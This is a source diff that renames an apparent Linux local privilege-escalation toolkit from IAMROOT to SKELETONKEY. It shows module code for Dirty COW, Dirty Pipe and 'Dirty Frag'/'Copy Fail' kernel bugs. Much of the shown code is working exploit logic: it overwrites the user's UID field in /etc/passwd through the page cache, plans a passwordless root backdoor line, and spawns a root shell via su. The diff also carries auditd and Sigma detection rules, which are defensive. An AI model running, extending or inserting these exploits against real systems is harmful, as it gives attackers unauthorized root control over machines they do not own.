return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell); return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
} }
const struct iamroot_module copy_fail_gcm_module = { const struct skeletonkey_module copy_fail_gcm_module = {
.name = "copy_fail_gcm", .name = "copy_fail_gcm",
.cve = "VARIANT", .cve = "VARIANT",
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)", .summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
@@ -175,19 +175,19 @@ const struct iamroot_module copy_fail_gcm_module = {
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */ /* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_detect(); return (skeletonkey_result_t)dirtyfrag_esp_detect();
} }
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell); return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
} }
const struct iamroot_module dirty_frag_esp_module = { const struct skeletonkey_module dirty_frag_esp_module = {
.name = "dirty_frag_esp", .name = "dirty_frag_esp",
.cve = "CVE-2026-43284", .cve = "CVE-2026-43284",
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)", .summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
@@ -205,19 +205,19 @@ const struct iamroot_module dirty_frag_esp_module = {
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */ /* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_detect(); return (skeletonkey_result_t)dirtyfrag_esp6_detect();
} }
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell); return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
} }
const struct iamroot_module dirty_frag_esp6_module = { const struct skeletonkey_module dirty_frag_esp6_module = {
.name = "dirty_frag_esp6", .name = "dirty_frag_esp6",
.cve = "CVE-2026-43284", .cve = "CVE-2026-43284",
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)", .summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
@@ -235,19 +235,19 @@ const struct iamroot_module dirty_frag_esp6_module = {
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */ /* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_detect(); return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
} }
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell); return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
} }
const struct iamroot_module dirty_frag_rxrpc_module = { const struct skeletonkey_module dirty_frag_rxrpc_module = {
.name = "dirty_frag_rxrpc", .name = "dirty_frag_rxrpc",
.cve = "CVE-2026-43500", .cve = "CVE-2026-43500",
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)", .summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
@@ -265,11 +265,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {
/* ----- Family registration ----- */ /* ----- Family registration ----- */
void iamroot_register_copy_fail_family(void) void skeletonkey_register_copy_fail_family(void)
{ {
iamroot_register(&copy_fail_module); skeletonkey_register(&copy_fail_module);
iamroot_register(&copy_fail_gcm_module); skeletonkey_register(&copy_fail_gcm_module);
iamroot_register(&dirty_frag_esp_module); skeletonkey_register(&dirty_frag_esp_module);
iamroot_register(&dirty_frag_esp6_module); skeletonkey_register(&dirty_frag_esp6_module);
iamroot_register(&dirty_frag_rxrpc_module); skeletonkey_register(&dirty_frag_rxrpc_module);
} }
@@ -0,0 +1,28 @@
/*
* copy_fail_family — SKELETONKEY module registry hooks
*
* The family currently contains five skeletonkey_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in skeletonkey_modules.c, registered into the global registry
* by skeletonkey_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module copy_fail_module;
extern const struct skeletonkey_module copy_fail_gcm_module;
extern const struct skeletonkey_module dirty_frag_esp_module;
extern const struct skeletonkey_module dirty_frag_esp6_module;
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
#endif
+1 -1
View File
@@ -13,7 +13,7 @@ the kernel since ~2007.
Original advisory: <https://dirtycow.ninja/> Original advisory: <https://dirtycow.ninja/>
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016). Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
## IAMROOT role ## SKELETONKEY role
Two-thread Phil-Oester-style race: writer thread via Two-thread Phil-Oester-style race: writer thread via
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the `/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
@@ -1,12 +0,0 @@
/*
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
*/
#ifndef DIRTY_COW_IAMROOT_MODULES_H
#define DIRTY_COW_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_cow_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* dirty_cow_cve_2016_5195 IAMROOT module * dirty_cow_cve_2016_5195 SKELETONKEY module
* *
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault * The iconic CVE-2016-5195. COW race in get_user_pages() / fault
* handling: a thread writing to /proc/self/mem races a thread calling * handling: a thread writing to /proc/self/mem races a thread calling
@@ -41,7 +41,7 @@
* - execve(su) shell with uid=0 * - execve(su) shell with uid=0
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
@@ -224,14 +224,14 @@ static void revert_passwd_page_cache(void)
} }
} }
/* ---- iamroot interface ---- */ /* ---- skeletonkey interface ---- */
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n"); fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
bool patched = kernel_range_is_patched(&dirty_cow_range, &v); bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
@@ -239,7 +239,7 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release); fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n", fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
@@ -247,26 +247,26 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to " fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
"/etc/passwd via /proc/self/mem\n"); "/etc/passwd via /proc/self/mem\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{ {
iamroot_result_t pre = dirty_cow_detect(ctx); skeletonkey_result_t pre = dirty_cow_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n"); fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
struct passwd *pw = getpwuid(geteuid()); struct passwd *pw = getpwuid(geteuid());
if (!pw) { if (!pw) {
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno)); fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
off_t uid_off; off_t uid_off;
@@ -275,7 +275,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) { if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n", fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
pw->pw_name); pw->pw_name);
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n", fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -292,12 +292,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
} }
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) { if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n"); fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (ctx->no_shell) { if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n"); fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n"); fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
@@ -305,17 +305,17 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL); execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
perror("execlp(su)"); perror("execlp(su)");
revert_passwd_page_cache(); revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; (void)ctx;
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n"); fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
} }
revert_passwd_page_cache(); revert_passwd_page_cache();
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* ---- Embedded detection rules ---- */ /* ---- Embedded detection rules ---- */
@@ -325,14 +325,14 @@ static const char dirty_cow_auditd[] =
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n" "# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
"# False-positive surface: debuggers, gdb, strace — all legit users of\n" "# False-positive surface: debuggers, gdb, strace — all legit users of\n"
"# /proc/self/mem. Combine with the file watches below to triangulate.\n" "# /proc/self/mem. Combine with the file watches below to triangulate.\n"
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n" "-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n" "-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n" "-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n"; "-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
static const char dirty_cow_sigma[] = static const char dirty_cow_sigma[] =
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n" "title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
"id: 1e2c5d8f-iamroot-dirty-cow\n" "id: 1e2c5d8f-skeletonkey-dirty-cow\n"
"status: experimental\n" "status: experimental\n"
"description: |\n" "description: |\n"
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n" " Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
@@ -350,7 +350,7 @@ static const char dirty_cow_sigma[] =
"level: high\n" "level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n"; "tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
const struct iamroot_module dirty_cow_module = { const struct skeletonkey_module dirty_cow_module = {
.name = "dirty_cow", .name = "dirty_cow",
.cve = "CVE-2016-5195", .cve = "CVE-2016-5195",
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)", .summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
@@ -366,7 +366,7 @@ const struct iamroot_module dirty_cow_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_dirty_cow(void) void skeletonkey_register_dirty_cow(void)
{ {
iamroot_register(&dirty_cow_module); skeletonkey_register(&dirty_cow_module);
} }
@@ -0,0 +1,12 @@
/*
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
#define DIRTY_COW_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_cow_module;
#endif
+4 -4
View File
@@ -25,7 +25,7 @@ by them.
Even in 2026, many production deployments still run vulnerable Even in 2026, many production deployments still run vulnerable
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
makes IAMROOT useful as a "historical sweep" tool on long-tail makes SKELETONKEY useful as a "historical sweep" tool on long-tail
systems. systems.
## Implementation plan ## Implementation plan
@@ -34,8 +34,8 @@ systems.
`NOTICE.md` when implemented) `NOTICE.md` when implemented)
- `detect()`: kernel version check + `/proc/version` parse + test - `detect()`: kernel version check + `/proc/version` parse + test
for fixed-version backports for fixed-version backports
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into - `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's `/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
backdoor mode backdoor mode
- Detection rules: auditd on splice() calls + pipe write patterns, - Detection rules: auditd on splice() calls + pipe write patterns,
filesystem audit on `/etc/passwd` modification by non-root filesystem audit on `/etc/passwd` modification by non-root
@@ -44,4 +44,4 @@ systems.
Pick this up after Phase 1 (module-interface refactor of the Pick this up after Phase 1 (module-interface refactor of the
copy_fail family) so this module can use the standard copy_fail family) so this module can use the standard
`iamroot_module` shape from the start. `skeletonkey_module` shape from the start.
+1 -1
View File
@@ -13,7 +13,7 @@ Original advisory: <https://dirtypipe.cm4all.com/>
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022). Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
## IAMROOT role ## SKELETONKEY role
This module bundles the canonical splice-into-pipe primitive that This module bundles the canonical splice-into-pipe primitive that
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
@@ -13,14 +13,14 @@
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for # Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
# any modification by non-root — the Dirty Pipe payload typically # any modification by non-root — the Dirty Pipe payload typically
# overwrites these to gain root. # overwrites these to gain root.
-w /etc/passwd -p wa -k iamroot-dirty-pipe -w /etc/passwd -p wa -k skeletonkey-dirty-pipe
-w /etc/shadow -p wa -k iamroot-dirty-pipe -w /etc/shadow -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers -p wa -k iamroot-dirty-pipe -w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe -w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
# Watch every splice() syscall — combined with the file watches above # Watch every splice() syscall — combined with the file watches above
# this catches the canonical exploit shape. (High volume on servers # this catches the canonical exploit shape. (High volume on servers
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to # using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
# exclude web servers.) # exclude web servers.)
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice -a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice -a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
@@ -1,5 +1,5 @@
title: Possible Dirty Pipe exploitation (CVE-2022-0847) title: Possible Dirty Pipe exploitation (CVE-2022-0847)
id: f6b13c08-iamroot-dirty-pipe id: f6b13c08-skeletonkey-dirty-pipe
status: experimental status: experimental
description: | description: |
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers, Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
@@ -10,7 +10,7 @@ description: |
references: references:
- https://dirtypipe.cm4all.com/ - https://dirtypipe.cm4all.com/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847 - https://nvd.nist.gov/vuln/detail/CVE-2022-0847
author: IAMROOT author: SKELETONKEY
date: 2026/05/16 date: 2026/05/16
logsource: logsource:
product: linux product: linux
@@ -1,12 +0,0 @@
/*
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
*/
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
#define DIRTY_PIPE_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_pipe_module;
#endif
@@ -1,9 +1,9 @@
/* /*
* dirty_pipe_cve_2022_0847 IAMROOT module * dirty_pipe_cve_2022_0847 SKELETONKEY module
* *
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up * Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
* commit (the C code is well-understood Max Kellermann's public PoC * commit (the C code is well-understood Max Kellermann's public PoC
* is the reference but landing it under the iamroot_module * is the reference but landing it under the skeletonkey_module
* interface needs the shared passwd-field/exploit-su helpers in core/ * interface needs the shared passwd-field/exploit-su helpers in core/
* which are deferred to Phase 1.5). * which are deferred to Phase 1.5).
* *
@@ -15,22 +15,22 @@
* *
* Detect logic: * Detect logic:
* - Parse uname() release into major.minor.patch * - Parse uname() release into major.minor.patch
* - If kernel < 5.8 IAMROOT_OK (bug not introduced yet) * - If kernel < 5.8 SKELETONKEY_OK (bug not introduced yet)
* - If kernel is on a branch with a known backport, compare patch * - If kernel is on a branch with a known backport, compare patch
* level (above threshold = patched, below = vulnerable) * level (above threshold = patched, below = vulnerable)
* - If kernel >= 5.17 IAMROOT_OK (mainline fix) * - If kernel >= 5.17 SKELETONKEY_OK (mainline fix)
* - Otherwise IAMROOT_VULNERABLE * - Otherwise SKELETONKEY_VULNERABLE
* *
* Edge case: distros sometimes ship custom-numbered kernels (e.g. * Edge case: distros sometimes ship custom-numbered kernels (e.g.
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release * Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
* counter, NOT the upstream patch level). For now we treat that as * counter, NOT the upstream patch level). For now we treat that as
* an unknown distro backport and report IAMROOT_TEST_ERROR with a * an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
* hint. A future enhancement: parse /proc/version's full string * hint. A future enhancement: parse /proc/version's full string
* which usually includes the upstream patch level after the distro * which usually includes the upstream patch level after the distro
* suffix. * suffix.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
@@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = {
* /etc/passwd writes; safe to run from --scan --active. */ * /etc/passwd writes; safe to run from --scan --active. */
static int dirty_pipe_active_probe(void) static int dirty_pipe_active_probe(void)
{ {
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX"; char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
int fd = mkstemp(probe_path); int fd = mkstemp(probe_path);
if (fd < 0) return -1; if (fd < 0) return -1;
const char seed[16] = "ABCDABCDABCDABCD"; const char seed[16] = "ABCDABCDABCDABCD";
@@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void)
return readback[4] == 'X' ? 1 : 0; return readback[4] == 'X' ? 1 : 0;
} }
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n"); fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Bug introduced in 5.8. */ /* Bug introduced in 5.8. */
@@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n", fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
v.release); v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v); bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
@@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands " fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
"(version %s)\n", v.release); "(version %s)\n", v.release);
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
if (probe == 0) { if (probe == 0) {
if (!ctx->json) { if (!ctx->json) {
@@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
"primitive blocked (likely patched%s)\n", "primitive blocked (likely patched%s)\n",
patched_by_version ? "" : ", or distro silently backported"); patched_by_version ? "" : ", or distro silently backported");
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall /* probe < 0: probe machinery failed (mkstemp/open/read) — fall
* back to version-only verdict and report TEST_ERROR caveat */ * back to version-only verdict and report TEST_ERROR caveat */
@@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; " fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
"use --active to confirm empirically)\n", v.release); "use --active to confirm empirically)\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n" fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
" Confirm empirically: re-run with --scan --active\n", " Confirm empirically: re-run with --scan --active\n",
v.release); v.release);
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{ {
/* Re-confirm vulnerability before writing to /etc/passwd. */ /* Re-confirm vulnerability before writing to /etc/passwd. */
iamroot_result_t pre = dirty_pipe_detect(ctx); skeletonkey_result_t pre = dirty_pipe_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n"); fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
return pre; return pre;
} }
@@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
struct passwd *pw = getpwuid(euid); struct passwd *pw = getpwuid(euid);
if (!pw) { if (!pw) {
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno)); fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (euid == 0) { if (euid == 0) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n"); fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* Find the UID field. Need a 4-digit-or-similar UID we can replace /* Find the UID field. Need a 4-digit-or-similar UID we can replace
@@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) { if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n", fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
pw->pw_name); pw->pw_name);
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n", fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
* far past the file's first 4096 bytes. Refuse cleanly. */ * far past the file's first 4096 bytes. Refuse cleanly. */
if ((uid_off & 0xfff) == 0) { if ((uid_off & 0xfff) == 0) {
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n"); fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
} }
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) { if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n"); fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (ctx->no_shell) { if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n" fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n"); "[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
